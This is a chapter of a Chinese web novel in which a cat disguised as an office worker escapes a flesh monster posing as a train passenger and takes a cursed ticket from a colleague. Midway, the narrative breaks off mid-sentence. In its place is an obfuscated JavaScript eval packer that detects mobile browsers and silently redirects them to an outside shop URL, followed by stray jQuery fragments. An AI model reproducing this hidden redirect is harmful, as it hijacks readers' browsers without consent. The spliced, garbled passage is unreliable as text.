4. 猫而已(4) “不给。”
    “不给。”

    心碎的乔瑜板着脸,说得非常坚决。甚至把已经敲得开裂的破键盘藏到了身后。

    那位流浪汉玩家的神色有点可惜:“好吧……”不过他显然也对类似的拒绝习以为常,很快冲列车里比了个手势,招呼道,“进来坐坐?没有茶。”

    乔瑜看看他,等着他说下半句。

    流浪汉也看看乔瑜。

    就这么大眼瞪着小眼,半晌,他有点窘迫,“呃,也没有水……那个……”他搓了一下手,努力挽尊道,“水龙头里的倒是不限量。”

    “……”大概是幻想已经破灭了一次,乔瑜竟然没有很失落,颇有些怜悯看他。

    事已至此,倒不算很意外。曾经乔瑜也短暂向往过温暖的屋檐,迷信那些关于人类社会的传说。但亲身经历已经告诉狸花猫:做人没有做猫好,做人顿顿睡不饱。

    那么,同样作为传说的玩家混成这种凄凉的处境……也是很合情合理的……吧?

    大概是乔瑜的眼神忽明忽暗太会说话,流浪汉有点抗不住了,带着些乞求小声问:“还上不上车啊?”

    心地善良的狸花猫没有再拷打他,跟在了后面。

    一进车厢,扑面而来的是一股清新的海风,空气中带着特有的潮湿和咸味儿,还有点冷。一件莫名其妙的厚实大花棉袄,莫名其妙地出现在乔瑜身上,牢骚嘟囔着把她裹得严严实实。

    ——眼前是一片只有五步宽的狭长海域,延绵向没有尽头的天空。

    细碎的冰块在轻轻地互撞,穹顶上的雪山群在角斗、磨牙,沁凉的海水裹着碎沫卷到了乔瑜的脚下,溅到了她的凉鞋里。

    乔瑜猛地打了个激灵,目瞪口呆。

    她现在踩着的,赫然是一大块载浮载沉的浮冰,正在波涛中微微晃荡。

    两排标着门牌号的车厢房间就在这片微缩海域的两边矗立着,不时有海水沿着门缝浸润进去,把门槛处搞得到处都是干涸后的海盐颗粒。流浪汉玩家磕了磕脚后跟,无奈抱怨了一句,扭过头来干笑。

    “不好意思,列车最近的天气系统有点发神经……”

    看得出来,他是真的很担心给乔瑜这位新人带来什么糟糕的初印象,因此表现得像个在面试中努力寻找自身优势的可怜社畜。可惜实在有点无话可说,只能接着尬笑。

    乔瑜也不知道该说什么,神使鬼差把手中的破键盘还是递给了他。

    于是,这位积极表现的人类很欢快哎了声,抄起键盘当铲子,开始敲刮车厢门口板结的盐块,干得热火朝天。“等会儿,现在车上形象是有点偏差有点挫,马上好,马上好啊!”

    狸花猫麻木看他,欲言又止,终于一声幽幽长叹。

    ……现在她对“无限流”不是很有兴趣了,玩家的日子过得还不如猫,还是读档回去吧,就当今天的一切没有发生过。

    比起身上突兀出现的土红大花袄(它甚至在小声地指指点点,企图从乔瑜身上扭动逃离),其实靠死亡来进行读档的能力也没啥不好接受的。

    正在不情愿地往后挪着步子,流浪汉专注铲着盐,顺口说了今天第二句让乔瑜脑子一嗡的话:

    “哦对,你为什么是只猫啊?”

    乔瑜一下站住了。

    她的身上突然起了点激栗,下意识低头看去,自己分明还是直立着的。修长纤细的五指光润整洁,确实还是人的样子。

    但是……“你看我,是一只猫?”她喃喃问。

    看她的反应,流浪汉像是也呆了一下,随即恍然一拍脑门。

    他,不,它把搭在两腮旁乱糟糟的“长发”往后捋了捋,露出两排锯齿般的细碎牙槽。

    身体则向外渐渐膨胀扭动,越来越大,越来越大,大到堵塞在过道的脆弱冰层上,变成了一道巨大的阴影……像一座小山。暴露出嫩黄色的蠕动脂肪。

    “不好意思,太久没见新人了。”

    熟悉又陌生的血肉怪物局促地往后小心缩着,显得很憨厚,瓮声瓮气说:“车票是天然的认知过滤器,为了方便玩家之间沟通,会将持有者的真实样貌隐藏起来,衍化出对方可以理解的形象。”

    “你才得到车票吧?自身的覆盖伪装都没打开。没事,对于普通人来说还是看不出的。这样,我教你,你先拿出——”

    回应它的是陡然跳起来的小体型狸花猫。

    花棉袄突然一空,猫从中脱身急退,化作一道黑影闪电般跃出了列车,一下落到空荡荡的天台上,摆出严阵以待的架势绷紧了背。

    面对这样毫不掩饰、也绝不可能被说服的进攻姿势,血肉怪物像是有些错愕,微微叹了口气。

    它依然是很惋惜很体谅的样子。

    “奇怪,刚才的每一个细节,复原得跟列车没有差别啊……我甚至没有说任何谎话。”

    它恳切地说着,从那道狭窄斑驳的车门里流淌出一颗不规则的头颅,居高临下望了下来,“我有哪里不对?小猫?”

    乔瑜冷冷盯着它。

    看乔瑜不配合不回答,它谆谆善诱:

    “没关系,你看,列车已经离开很久了,我和你一样渴望它回来。

    明明有车票,却始终等不到列车回头,只能困在这鬼地方又饿又渴,这滋味不好受吧?小猫,你我都是异类,我们其实是一样的,一样的……”

    “——来,”它陡然咆哮起来,“给我你的车票!”

    吼声如雷,痛失囊中猎物的花棉袄摇身化作尖叫的血肉,腥臭的滚滚浪潮汹涌而起,直直扑来!

    无数细碎的肉鳞片在嫩黄的脂肪上浮动,接着一片一片解体、脱落、如蛾子的鳞粉散溢在整个天台的空气中,发出嘈杂的嗡鸣。

    一瞬间,它们变成了无数张脏车票的模样,飞舞着向乔瑜的口鼻五窍钻了过来。窒息和烧灼同步降临,乔瑜只呛了一下,就被庞然巨力卷住。

    那力道只是轻轻一收——!

    “咔!”

    ……

    乔瑜睁开眼,细细的冷汗布满了额头。

    强烈的晕眩感带来了耳鸣,她不得不捂着自己的心口,蜷缩在座位上大声喘息,感到难以言喻的苦味在口中横冲直撞。

    很不巧,不管是人形还是猫身,对那鬼东西都一样没有抵抗力。而且作为怪物本尊,它显然比被污染的林巧莉要可怕多了。拧猫跟拧碎一块小饼干没有区别。

    现在乔瑜的双眼都是发灰发雾的,直愣愣瞪了半天,才意识到眼前正有个模糊的人影,焦急地扶着她,一边小声安慰着什么,一边在拨打急救电话。

    只是那人影的手抖了几次都没成功,忍不住哇一声要哭。

    “没事。”乔瑜反手抓住对方,低声说,“我没事,林巧莉。”

    “还说没事!”

    林巧莉急得发晕,嗓子顿时有点哽住了。她也不懂自己怎么反应这么过激,只知道追问:“怎么回事,啊?好好的看你在睡觉,突然就这样……”

    乔瑜晃了晃脑袋,眼前终于清晰了一些,发现自己的工位旁已经都是人。蒋叔和

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055739|149199||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    几位才碎嘴八卦过她的新同事都讪讪的,不好意思过来递水递毛巾。

    精神上的幻痛并没有持续太久,乔瑜无比老实地喝了水擦了脸,任由其他人安排,又吃了点投喂过来的小零食,脸色很快红润回来。

    就听到一声相当清晰的呼气声,是整个办公室的人都不约而同松了一口气,竟然有点搞笑地同步合在一起。

    这次动静确实有点大,据说林巧莉带着哭腔大喊一声的那一刻,其他人就都惊醒了。连在隔间小办公室里的周扒皮老板,都吓得探头出来看了半天,才心有余悸背着手缩了回去。

    今天的万恶破冰小游戏也不用做了,同事们在工位上后怕地顺着心口,过一会儿就扭头来看乔瑜有没有猝死。

    说实话,感觉还挺奇妙的。好像整个世界突然反思了自己的冷漠,于是扑上来对着辛苦读档的猫猛亲。

    乔瑜嚼着同事刚给的牛肉干,有点好奇,小声问林巧莉:“这么好啊,平时怎么大家就那么讨厌?”

    “……”林巧莉又气又好笑,合着平时的投喂都白搭,这小没良心的是一点没往心里去。“你还贫?”

    好吧,那还是说正事。

    乔瑜从善如流,还是小小声:“刚才,如果没有我的事,你是不是打算去天台?”

    林巧莉怔住。

    换作平常,毕竟事情有些特殊,以她有些优柔的性格多半还是要逃避,选择含糊其辞。可现在……

    想到乔瑜方才面无血色似乎垂死的虚弱模样,林巧莉莫名心悸了一下,仿佛自己曾经因为这份逃避,导致了什么无法挽回的错事。

    不知名的悔恨促使下,她彻底坦白了:

    “是,我有一位素未蒙面的笔友,有时候我们会在天台留言,交换信件。我们今天有约见面。其实……我一开始以为是你。”

    乔瑜的眼皮微微一跳。

    原来如此,所谓从天上掉下来一张车票,其实是从天而降一位秘密朋友。

    林巧莉毫无防备去信任的、一直在保护遮掩的,不是列车,而是一份“友谊”。

    “那位朋友……它听你倾诉过生活中的难处吗?之前有没有给你留个什么礼物?”狸花猫微微眯眼,瞳孔悄然收缩成了一道线,“比如传说中才有的,车票?”

    林巧莉一呆:“……啊。”

    “这样啊。”乔瑜恍然,轻声说,“虽然传说不靠谱,也是朋友的心意呢。这个连我也是懂的。”

    “抱歉。”林巧莉难过低着头,“其实……我也觉得这样很虚幻,好像有点太沉迷了。本来我是想中午的时候把车票还回去的。”

    “真的,我也不知道怎么回事。”她有点短促地补充着,带着自己都没有察觉的恐惧,“但我一直想把名字签上去,特别兴奋,脑子晕晕的好像要疯了一样。再不还回去的话,我……”

    所以午休时的那个提问,其实是无意识的求救。误会你了啊。

    一只还带着潮湿汗意的手摊开,坚定伸到了林巧莉面前。“车票呢?给我。”

    林巧莉怔怔疑问了声,乔瑜却干脆凑了过来,像是先知一样,毫不客气地直接从林巧莉的身上摸出一张脏兮兮的破损车票。

    “我来还。”乔瑜说,像是应允了某个无人知晓的嘱托。

    她凛冽的神色把林巧莉蛰了一下,那简直像是……像是某种轻蔑的怒火。在这怒火中,猫温柔地问:“刚才说你们没见过面,对吧?”

    “那么,从现在开始车票和笔友是我的了。我就是林巧莉。”